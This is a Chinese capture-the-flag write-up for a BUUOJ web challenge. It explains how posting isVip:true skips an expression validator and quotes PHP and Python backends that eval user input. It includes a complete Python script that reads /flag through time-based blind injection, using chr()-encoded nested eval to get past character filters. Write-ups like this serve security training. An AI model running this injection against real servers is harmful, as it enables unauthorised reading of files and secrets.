github下源码。
打开index.hbs。
他会请求calculate
对应calculate.model.ts
继续看expression.validator.ts
这里isVip如果是False。就会判断。输入的长度不能超过15。并且输入的字符只能是正则中的字符。
但是。这里isVip默认就是False的。
那么可以直接传一个json。其中带有isVip属性为true
{"expression":"1111","isVip":true}
然后分别有三个后端。
<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);
同时禁用了很多函数。
expr = bson.BSON(data).decode()
if 'exec' in dir(__builtins__):
del __builtins__.exec
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})
限制了执行系统命令的函数。那么可以用盲注
试了下sleep(5)。成功延时5秒。
问题来了。。eval中可以用eval(eval())嵌套执行。但是有些字符不能用。并且.也被ban了。不能用chr(xx).chr(xx)来执行。
再想想python。可以用chr(xx)+chr(xx)。并且也支持eval(eval)嵌套
import requests
import time
x=''
def getpayload(num,mid):
payload="__import__('time').sleep(5) if (ord(open('/flag','r').read()["+str(num)+"])>"+str(mid)+") else 1"
data=''
for i in payload:
data+='chr('+str(ord(i))+')+'
return('eval('+data[:-1]+')')
url='http://62e44b9b-0d83-4e04-919b-be0ae81e0a68.node3.buuoj.cn/calculate'
for a in range(0,60):
max = 130
min = 30
while max >=min:
mid=(max+min)//2
payload=getpayload(a,mid)
time1=time.time()
r = requests.post(url, json={'isVip': True, 'expression': payload})
time2=time.time()
if (time2-time1>5):
min=mid+1
else:
max=mid
if max==mid==min:
x+=chr(mid)
print(str(a)+':'+x)
break
用chr()构造字符。然后+拼接。eval执行一次。得到payload。然后再由系统自带的eval执行一次。执行payload
__import__('time').sleep(5) if 读取文件的第一个字符>xx else 1
进行盲注